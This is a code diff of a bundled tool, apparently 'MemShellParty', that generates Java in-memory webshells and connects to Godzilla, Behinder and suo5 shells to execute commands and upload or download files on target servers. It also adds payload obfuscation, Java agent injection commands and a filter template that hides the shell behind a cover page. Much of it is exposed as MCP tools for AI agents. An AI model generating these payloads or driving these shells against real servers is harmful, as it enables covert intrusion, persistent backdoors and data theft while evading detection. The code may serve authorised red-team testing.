+  test: ({ conn, common }) => testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common),
+  exec: ({ conn, common, options }, command) => execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, {
+    ...common,
+    os: options.os
+  }),
+  upload: ({ conn, common, options }, remotePath, data) => uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, {
+    ...common,
+    remoteCharset: options.remoteCharset
+  }),
+  download: ({ conn, common, options }, remotePath) => downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, {
+    ...common,
+    remoteCharset: options.remoteCharset
+  })
+};
+var behinderProtocol = {
+  name: "behinder",
+  description: "Behinder AES shell",
+  test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common),
+  exec: ({ conn, common }, command) => execBehinder(conn.url, conn.pass ?? "rebeyond", command, common),
+  upload: ({ conn, common }, remotePath, data) => uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common),
+  download: ({ conn, common }, remotePath) => downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common)
+};
+var suo5Protocol = {
+  name: "suo5",
+  description: "suo5 HTTP tunnel (connect test only)",
+  test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode })
+};
+registerProtocol(godzillaProtocol);
+registerProtocol(behinderProtocol);
+registerProtocol(suo5Protocol);
+registerProtocol(mimicProtocol);
+
 // src/core/localfile.ts
-import { existsSync as existsSync2, readFileSync as readFileSync3, statSync } from "fs";
-import { dirname as dirname2, join as join3, resolve } from "path";
+import { existsSync as existsSync3, readFileSync as readFileSync4, statSync } from "fs";
+import { dirname as dirname2, join as join4, resolve } from "path";
 var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
 function remoteBasename(remotePath) {
   const trimmed = remotePath.replace(/[/\\]+$/, "");
@@ -1643,18 +2374,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
       );
     }
     target = name;
-  } else if (existsSync2(localArg) && statSync(localArg).isDirectory()) {
+  } else if (existsSync3(localArg) && statSync(localArg).isDirectory()) {
     if (!name) {
       throw new Error(
         `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
       );
     }
-    target = join3(localArg, name);
+    target = join4(localArg, name);
   } else {
     target = localArg;
   }
   const abs = resolve(target);
-  if (existsSync2(abs)) {
+  if (existsSync3(abs)) {
     if (statSync(abs).isDirectory()) {
       throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
     }
@@ -1663,13 +2394,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
     }
   }
   const parent = dirname2(abs);
-  if (!existsSync2(parent) || !statSync(parent).isDirectory()) {
+  if (!existsSync3(parent) || !statSync(parent).isDirectory()) {
     throw new Error(`local directory ${parent} does not exist`);
   }
   return abs;
 }
 function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
-  if (!existsSync2(localPath)) {
+  if (!existsSync3(localPath)) {
     throw new Error(`local file ${localPath} does not exist`);
   }
   const stat = statSync(localPath);
@@ -1681,29 +2412,29 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
       `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
     );
   }
-  return readFileSync3(localPath);
+  return readFileSync4(localPath);
 }
 
 // src/core/targets.ts
-import { existsSync as existsSync3, mkdirSync as mkdirSync2, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
-import { homedir as homedir3 } from "os";
-import { dirname as dirname3, join as join4 } from "path";
-var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
+import { existsSync as existsSync4, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
+import { homedir as homedir4 } from "os";
+import { dirname as dirname3, join as join5 } from "path";
+var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
 function checkName(kind, name) {
-  if (!NAME_RE.test(name)) {
+  if (!NAME_RE2.test(name)) {
     throw new Error(
       `invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
     );
   }
 }
 function targetStorePath() {
-  return process.env.MEMPARTY_TARGETS ?? join4(homedir3(), ".memparty", "targets.json");
+  return process.env.MEMPARTY_TARGETS ?? join5(homedir4(), ".memparty", "targets.json");
 }
 function listProjects() {
   try {
     const file = targetStorePath();
-    if (!existsSync3(file)) return {};
-    const data = JSON.parse(readFileSync4(file, "utf8"));
+    if (!existsSync4(file)) return {};
+    const data = JSON.parse(readFileSync5(file, "utf8"));
     if (data !== null && typeof data === "object" && !Array.isArray(data)) {
       return data;
     }
@@ -1716,8 +2447,8 @@ function getProject(name) {
 }
 function writeProjects(projects) {
   const file = targetStorePath();
-  mkdirSync2(dirname3(file), { recursive: true });
-  writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
+  mkdirSync3(dirname3(file), { recursive: true });
+  writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
 `, { mode: 384 });
 }
 function saveProjectMeta(name, meta) {
@@ -1825,7 +2556,8 @@ function autoSaveShell(conn) {
     headerValue: conn.headerValue,
     extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
     insecure: conn.insecure,
-    profile: conn.profile
+    profile: conn.profile,
+    upgradeProtocol: conn.upgradeProtocol
   });
   return `${projectName}/${shellName}`;
 }
@@ -1879,10 +2611,47 @@ function resolveConnection(ref, flags) {
     extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
     insecure: flags.insecure ?? stored?.insecure,
     profile: flags.profile ?? stored?.profile,
+    upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
     targetName
   };
 }
 
+// src/core/obfuscation.ts
+function parseObfuscationOptions(input) {
+  if (input === void 0 || input.trim() === "") return void 0;
+  const options = {};
+  for (const entry of input.split(/[,\n]/)) {
+    const separator = entry.indexOf("=");
+    const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
+    if (separator < 0 || key === "") {
+      throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
+    }
+    if (Object.hasOwn(options, key)) {
+      throw new Error(`Duplicate obfuscation option "${key}".`);
+    }
+    const value = entry.slice(separator + 1).trim();
+    if (value === "true" || value === "false") {
+      options[key] = value === "true";
+    } else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
+      options[key] = Number(value);
+    } else {
+      options[key] = value;
+    }
+  }
+  return options;
+}
+
+// src/core/agent.ts
+function supportsAgentLoadArguments(shellType, packer) {
+  return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
+}
+function agentLoadExamples(agentArgs) {
+  return [
+    `java -jar agent.jar <pid> ${agentArgs}`,
+    `jattach <pid> load instrument false agent.jar=${agentArgs}`
+  ];
+}
+
 // src/version.ts
 import { createRequire } from "module";
 var require2 = createRequire(import.meta.url);
@@ -1913,12 +2682,15 @@ var memShellInput = {
   shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
   shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
   packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
-  jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
+  jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
   debug: z.boolean().optional(),
   byPassJavaModule: z.boolean().optional(),
   shrink: z.boolean().optional(),
   lambdaSuffix: z.boolean().optional(),
   probe: z.boolean().optional(),
+  obfuscate: z.boolean().optional(),
+  obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
+  obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
   shellClassName: z.string().optional(),
   godzillaPass: z.string().optional(),
   godzillaKey: z.string().optional(),
@@ -1933,17 +2705,23 @@ var memShellInput = {
   shellClassBase64: z.string().optional(),
   urlPattern: z.string().optional(),
   injectorClassName: z.string().optional(),
-  staticInitialize: z.boolean().optional()
+  staticInitialize: z.boolean().optional(),
+  agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
+  outputFile: z.string().optional().describe(
+    "also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
+  )
 };
 var probeInput = {
-  probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
-  probeContent: z.string().describe("BasicInfo, Server, OS, JDK, Bytecode, Command"),
+  probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
+  probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
   packer: z.string(),
   jdk: z.string().optional(),
   debug: z.boolean().optional(),
   byPassJavaModule: z.boolean().optional(),
   shrink: z.boolean().optional(),
   lambdaSuffix: z.boolean().optional(),
+  obfuscate: z.boolean().optional(),
+  obfuscationOptions: memShellInput.obfuscationOptions,
   staticInitialize: z.boolean().optional(),
   shellClassName: z.string().optional(),
   host: z.string().optional(),
@@ -1951,7 +2729,31 @@ var probeInput = {
   sleepServer: z.string().optional(),
   server: z.string().optional(),
   reqParamName: z.string().optional(),
-  commandTemplate: z.string().optional()
+  commandTemplate: z.string().optional(),
+  respHeaderName: z.string().optional(),
+  outputFile: memShellInput.outputFile
+};
+var bytecodeInput = {
+  classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
+  outputFile: z.string().optional().describe("also write the transformed class to this local file")
+};
+var bytecodeTransformInput = {
+  ...bytecodeInput,
+  packer: z.string().optional(),
+  byPassJavaModule: z.boolean().optional(),
+  staticInitialize: z.boolean().optional(),
+  shrink: z.boolean().optional(),
+  renamePackage: z.boolean().optional(),
+  relocateFrom: z.string().optional(),
+  relocateTo: z.string().optional(),
+  entryMethod: z.string().optional(),
+  newClassName: z.string().optional(),
+  randomName: z.boolean().optional(),
+  obfuscate: z.boolean().optional(),
+  obfuscationOptions: memShellInput.obfuscationOptions,
+  server: z.string().optional(),
+  probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
+  respHeaderName: z.string().optional()
 };
 var connectInput = {
   name: z.string().optional().describe(
@@ -1965,7 +2767,8 @@ var connectInput = {
   headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
   suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
   insecure: z.boolean().optional().describe("skip TLS certificate verification"),
-  timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
+  timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
+  upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
 };
 var execInput = {
   name: z.string().optional().describe(
@@ -1982,7 +2785,8 @@ var execInput = {
   headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
   headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
   insecure: z.boolean().optional().describe("skip TLS certificate verification"),
-  timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
+  timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
+  upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
 };
 var transferConnInput = {
   name: execInput.name,
@@ -1994,6 +2798,7 @@ var transferConnInput = {
   headerValue: execInput.headerValue,
   insecure: execInput.insecure,
   timeoutMs: execInput.timeoutMs,
+  upgradeProtocol: execInput.upgradeProtocol,
   remoteCharset: z.string().optional().describe(
     "godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
   )
@@ -2021,12 +2826,82 @@ var targetSaveInput = {
   headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
   headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
   insecure: z.boolean().optional().describe("skip TLS certificate verification"),
+  upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
   projectRemark: z.string().optional().describe("project remark (merged into the project)"),
   projectCategory: z.string().optional().describe("project category (merged into the project)"),
   shellRemark: z.string().optional().describe("remark for this shell")
 };
 function createMcpServer(client) {
   const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
+  server.registerTool(
+    "bytecode_decode",
+    {
+      title: "Decode Java class",
+      description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
+      inputSchema: bytecodeInput
+    },
+    async (args) => {
+      try {
+        const result = await client.decodeBytecode(args.classBytesBase64);
+        const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
+          { packResult: result.classBytesBase64Str },
+          { outFile: args.outputFile, decode: true }
+        );
+        return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
+      } catch (err) {
+        return errorContent(err);
+      }
+    }
+  );
+  server.registerTool(
+    "bytecode_transform",
+    {
+      title: "Transform Java class",
+      description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
+      inputSchema: bytecodeTransformInput
+    },
+    async (args) => {
+      try {
+        const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
+        if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
+          throw new Error("Package relocation requires relocateFrom and relocateTo.");
+        }
+        const {
+          outputFile: outputPath,
+          obfuscate: _obfuscate,
+          obfuscationOptions,
+          probeMethod,
+          server: server2,
+          respHeaderName,
+          ...fields
+        } = args;
+        const request = {
+          obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
+          ...probeMethod === void 0 ? {} : {
+            server: server2 ?? "Unknown",
+            probe: {
+              probeMethod,
+              probeContent: "Bytecode",
+              respHeaderName
+            }
+          }
+        };
+        const result = await client.transformBytecode({
+          classBytesBase64: args.classBytesBase64,
+          ...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
+          ...renamePackage ? { renamePackage } : {},
+          ...request
+        });
+        const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
+          { packResult: result.packResult ?? result.classBytesBase64Str },
+          { outFile: outputPath, decode: result.packResult === void 0 || void 0 }
+        );
+        return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
+      } catch (err) {
+        return errorContent(err);
+      }
+    }
+  );
   server.registerTool(
     "list_servers",
     { title: "List servers", description: "List supported servers and their shell types" },
@@ -2077,9 +2952,41 @@ function createMcpServer(client) {
       }
     }
   );
+  server.registerTool(
+    "list_shell_tool_configs",
+    {
+      title: "List shell tool configs",
+      description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
+    },
+    async () => {
+      try {
+        return jsonContent(await client.getShellToolConfigs());
+      } catch (err) {
+        return errorContent(err);
+      }
+    }
+  );
+  server.registerTool(
+    "list_obfuscation_options",
+    {
+      title: "List obfuscation options",
+      description: "List class obfuscation option keys, defaults and valid values (v3+)"
+    },
+    async () => {
+      try {
+        return jsonContent(await client.getObfuscationOptions());
+      } catch (err) {
+        return errorContent(err);
+      }
+    }
+  );
   server.registerTool(
     "generate_memshell",
-    { title: "Generate memory shell", description: "Generate a Java memory shell payload", inputSchema: memShellInput },
+    {
+      title: "Generate memory shell",
+      description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
+      inputSchema: memShellInput
+    },
     async (args) => {
       const meta = {
         server: args.server,
@@ -2091,7 +2998,18 @@ function createMcpServer(client) {
       };
       const started = Date.now();
       try {
-        const response = await client.generateMemShell(buildMemShellRequest(args));
+        if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
+          throw new Error(
+            "agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
+          );
+        }
+        const response = await client.generateMemShell(
+          buildMemShellRequest({
+            ...args,
+            obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
+          })
+        );
+        const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
         logOp({
           category: "gen",
           action: "gen",
@@ -2100,7 +3018,14 @@ function createMcpServer(client) {
           detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
           meta
         });
-        return jsonContent(response);
+        return jsonContent({
+          ...response,
+          ...outputFile === void 0 ? {} : { outputFile },
+          ...args.agentArgs === void 0 ? {} : {
+            agentArgs: args.agentArgs,
+            agentLoadExamples: agentLoadExamples(args.agentArgs)
+          }
+        });
       } catch (err) {
         logOp({
           category: "gen",
@@ -2116,7 +3041,11 @@ function createMcpServer(client) {
   );
   server.registerTool(
     "generate_probe",
-    { title: "Generate probe shell", description: "Generate a probe/detection shell payload", inputSchema: probeInput },
+    {
+      title: "Generate probe shell",
+      description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
+      inputSchema: probeInput
+    },
     async (args) => {
       const meta = {
         probeMethod: args.probeMethod,
@@ -2126,7 +3055,13 @@ function createMcpServer(client) {
       };
       const started = Date.now();
       try {
-        const response = await client.generateProbe(buildProbeRequest(args));
+        const response = await client.generateProbe(
+          buildProbeRequest({
+            ...args,
+            obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
+          })
+        );
+        const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
         logOp({
           category: "probe",
           action: "probe",
@@ -2135,7 +3070,7 @@ function createMcpServer(client) {
           detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
           meta
         });
-        return jsonContent(response);
+        return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
       } catch (err) {
         logOp({
           category: "probe",
@@ -2191,29 +3126,19 @@ function createMcpServer(client) {
           key: args.key,
           headerName: args.headerName,
           headerValue: args.headerValue,
-          insecure: args.insecure
+          insecure: args.insecure,
+          upgradeProtocol: args.upgradeProtocol
         });
         const common = {
           headerName: conn.headerName,
           headerValue: conn.headerValue,
           extraHeaders: conn.extraHeaders,
           timeoutMs: args.timeoutMs,
-          insecure: conn.insecure
+          insecure: conn.insecure,
+          upgradeProtocol: conn.upgradeProtocol
         };
-        let result;
-        switch (conn.tool) {
-          case "godzilla":
-            result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
-            break;
-          case "behinder":
-            result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
-            break;
-          case "suo5":
-            result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
-            break;
-          default:
-            throw new Error(`unknown tool ${String(conn.tool)}`);
-        }
+        const options = { suo5Mode: args.suo5Mode };
+        const result = await requireProtocol(conn.tool).test({ conn, common, options });
         let savedAs;
         if (result.ok && conn.targetName === void 0) {
           savedAs = autoSaveShell(conn);
@@ -2252,32 +3177,20 @@ function createMcpServer(client) {
           key: args.key,
           headerName: args.headerName,
           headerValue: args.headerValue,
-          insecure: args.insecure
+          insecure: args.insecure,
+          upgradeProtocol: args.upgradeProtocol
         });
         const common = {
           headerName: conn.headerName,
           headerValue: conn.headerValue,
           extraHeaders: conn.extraHeaders,
           timeoutMs: args.timeoutMs,
-          insecure: conn.insecure
+          insecure: conn.insecure,
+          upgradeProtocol: conn.upgradeProtocol
         };
-        let result;
-        switch (conn.tool) {
-          case "godzilla":
-            result = await execGodzilla(
-              conn.url,
-              conn.pass ?? "pass",
-              conn.key ?? "key",
-              args.command,
-              { ...common, os: args.os }
-            );
-            break;
-          case "behinder":
-            result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
-            break;
-          default:
-            throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
-        }
+        const protocol = requireProtocol(conn.tool);
+        if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
+        const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
         let savedAs;
         if (result.ok && conn.targetName === void 0) {
           savedAs = autoSaveShell(conn);
@@ -2319,41 +3232,27 @@ function createMcpServer(client) {
           key: args.key,
           headerName: args.headerName,
           headerValue: args.headerValue,
-          insecure: args.insecure
+          insecure: args.insecure,
+          upgradeProtocol: args.upgradeProtocol
         });
         const common = {
           headerName: conn.headerName,
           headerValue: conn.headerValue,
           extraHeaders: conn.extraHeaders,
           timeoutMs: args.timeoutMs,
-          insecure: conn.insecure
+          insecure: conn.insecure,
+          upgradeProtocol: conn.upgradeProtocol
         };
         const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
-        let result;
-        switch (conn.tool) {
-          case "godzilla":
-            result = await downloadGodzilla(
-              conn.url,
-              conn.pass ?? "pass",
-              conn.key ?? "key",
-              args.remotePath,
-              { ...common, remoteCharset: args.remoteCharset }
-            );
-            break;
-          case "behinder":
-            result = await downloadBehinder(
-              conn.url,
-              conn.pass ?? "rebeyond",
-              args.remotePath,
-              common
-            );
-            break;
-          default:
-            throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
-        }
+        const protocol = requireProtocol(conn.tool);
+        if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
+        let result = await protocol.download(
+          { conn, common, options: { remoteCharset: args.remoteCharset } },
+          args.remotePath
+        );
         if (result.ok && result.data !== void 0) {
           try {
-            writeFileSync3(localPath, result.data);
+            writeFileSync4(localPath, result.data);
           } catch (err) {
             result = {
               ...result,
@@ -2402,40 +3301,25 @@ function createMcpServer(client) {
           key: args.key,
           headerName: args.headerName,
           headerValue: args.headerValue,
-          insecure: args.insecure
+          insecure: args.insecure,
+          upgradeProtocol: args.upgradeProtocol
         });
         const common = {
           headerName: conn.headerName,
           headerValue: conn.headerValue,
           extraHeaders: conn.extraHeaders,
           timeoutMs: args.timeoutMs,
-          insecure: conn.insecure
+          insecure: conn.insecure,
+          upgradeProtocol: conn.upgradeProtocol
         };
         const data = readUploadFile(args.localPath);
-        let result;
-        switch (conn.tool) {
-          case "godzilla":
-            result = await uploadGodzilla(
-              conn.url,
-              conn.pass ?? "pass",
-              conn.key ?? "key",
-              args.remotePath,
-              data,
-              { ...common, remoteCharset: args.remoteCharset }
-            );
-            break;
-          case "behinder":
-            result = await uploadBehinder(
-              conn.url,
-              conn.pass ?? "rebeyond",
-              args.remotePath,
-              data,
-              common
-            );
-            break;
-          default:
-            throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
-        }
+        const protocol = requireProtocol(conn.tool);
+        if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
+        const result = await protocol.upload(
+          { conn, common, options: { remoteCharset: args.remoteCharset } },
+          args.remotePath,
+          data
+        );
         let savedAs;
         if (result.ok && conn.targetName === void 0) {
           savedAs = autoSaveShell(conn);
@@ -2482,6 +3366,7 @@ function createMcpServer(client) {
           headerName: args.headerName,
           headerValue: args.headerValue,
           insecure: args.insecure,
+          upgradeProtocol: args.upgradeProtocol,
           remark: args.shellRemark
         });
         logOp({
@@ -2635,59 +3520,103 @@ async function startMcpStdio(client) {
   await server.connect(transport);
 }
 
-// src/connect/mimic-codecs.ts
-import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
-var LEGACY_CIPHER = {
-  algorithm: "aes-ecb",
-  encoding: "base64",
-  padTail: false,
-  marker: "js-var"
-};
-function resolveCipher(partial) {
-  return { ...LEGACY_CIPHER, ...partial ?? {} };
-}
-function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
-  const id = md5Hex(pass + secretKey).slice(0, 5);
-  if (cipher.marker === "html-comment") {
-    const left2 = `<!--Re${id}_config:`;
-    return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
-  }
-  const left = `var Re${id}_config="`;
-  return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
-}
-
 // src/custom/build.ts
 import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync5 } from "fs";
 import { join as join6 } from "path";
 
-// src/core/site-profile.ts
-import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
-import { homedir as homedir4 } from "os";
-import { join as join5 } from "path";
-function profileTemplates(profile) {
-  if (Array.isArray(profile.templates) && profile.templates.length > 0) {
-    return profile.templates;
-  }
-  if (profile.template) {
-    return [
-      {
-        title: profile.title ?? "",
-        template: profile.template,
-        contentType: profile.contentType ?? "text/html; charset=utf-8"
-      }
-    ];
-  }
-  return [];
+// src/custom/java-template.ts
+function renderWrapperJava() {
+  return `package mimic;
+
+import java.io.*;
+import javax.servlet.*;
+import javax.servlet.http.*;
+
+/** Re-exposes a consumed request body to downstream filters/servlets. */
+public class CachedBody extends HttpServletRequestWrapper {
+    private final byte[] body;
+
+    public CachedBody(HttpServletRequest req, byte[] body) {
+        super(req);
+        this.body = body;
+    }
+
+    public ServletInputStream getInputStream() {
+        return new Stream(body);
+    }
+
+    public BufferedReader getReader() {
+        return new BufferedReader(new InputStreamReader(getInputStream()));
+    }
+
+    static class Stream extends ServletInputStream {
+        private final ByteArrayInputStream in;
+
+        Stream(byte[] body) {
+            this.in = new ByteArrayInputStream(body);
+        }
+
+        public int read() {
+            return in.read();
+        }
+
+        public boolean isFinished() {
+            return in.available() == 0;
+        }
+
+        public boolean isReady() {
+            return true;
+        }
+
+        public void setReadListener(ReadListener l) {}
+    }
 }
-function profileRequests(profile) {
-  if (!profile.request) return [];
-  return Array.isArray(profile.request) ? profile.request : [profile.request];
+`;
 }
-
-// src/custom/java-template.ts
 function javaStringLiteral(s) {
   return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
 }
+function wrapperLoaderMethods(opts) {
+  return `
+    /** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
+        uploaded shell stays a single self-contained class file */
+    static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
+    static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
+
+    static Class<?> forNameQuiet(String name, ClassLoader cl) {
+        try {
+            return Class.forName(name, true, cl);
+        } catch (Throwable t) {
+            return null;
+        }
+    }
+
+    static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
+        try {
+            java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
+                String.class, byte[].class, int.class, int.class);
+            m.setAccessible(true);
+            byte[] bytes = java.util.Base64.getDecoder().decode(b64);
+            return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
+        } catch (Throwable t) {
+            return null; // another shell in this JVM already defined it
+        }
+    }
+
+    /** Wrap the request so downstream code can re-read the JSON body we consumed. */
+    static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
+        ClassLoader cl = ${opts.className}.class.getClassLoader();
+        Class<?> c = forNameQuiet("mimic.CachedBody", cl);
+        if (c == null) {
+            defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
+            c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
+            if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
+        }
+        return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
+            .newInstance(req, body);
+    }
+`;
+}
 var MD5_METHOD = String.raw`
     static String md5Hex(String s) throws Exception {
         MessageDigest m = MessageDigest.getInstance("MD5");
@@ -2823,9 +3752,11 @@ function sharedMethods(cipher) {
   return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
 }
 function renderFilterJava(opts) {
-  const { className, pass, secret, fields, templates, cipher } = opts;
+  const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
   const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
-  const tplsJava = templates.map((t) => `        "${javaStringLiteral(t)}"`).join(",\n");
+  const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
+  const tplsJava = templates.map((t) => `        "${javaStringLiteral(t.template)}"`).join(",\n");
+  const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
   return `package mimic;
 
 import java.io.*;
@@ -2840,37 +3771,120 @@ import javax.servlet.http.*;
  * mimic protocol server (matches src/connect/mimic-codecs.ts):
  *   cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
  *
- * Detection uses getParameter()/getHeader() only, never reads the body
- * stream: form posts are parsed+cached by the container so downstream
- * getParameter() callers still work, and raw-body posts (Behinder) keep an
- * untouched body stream for the shell behind us. Anything that is not ours
- * falls through chain.doFilter; any error answers with the cover page.
+ * Detection uses getParameter()/getHeader() first, never touching the body
+ * stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
+ * caching wrapper, so the app's own endpoints (and other shells behind us)
+ * still see the body. Anything that is not ours falls through chain.doFilter;
+ * any error answers with the plain cover template.
  */
 public class ${className} implements Filter {
     /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
     static final String[] FIELDS = { ${fieldsJava} };
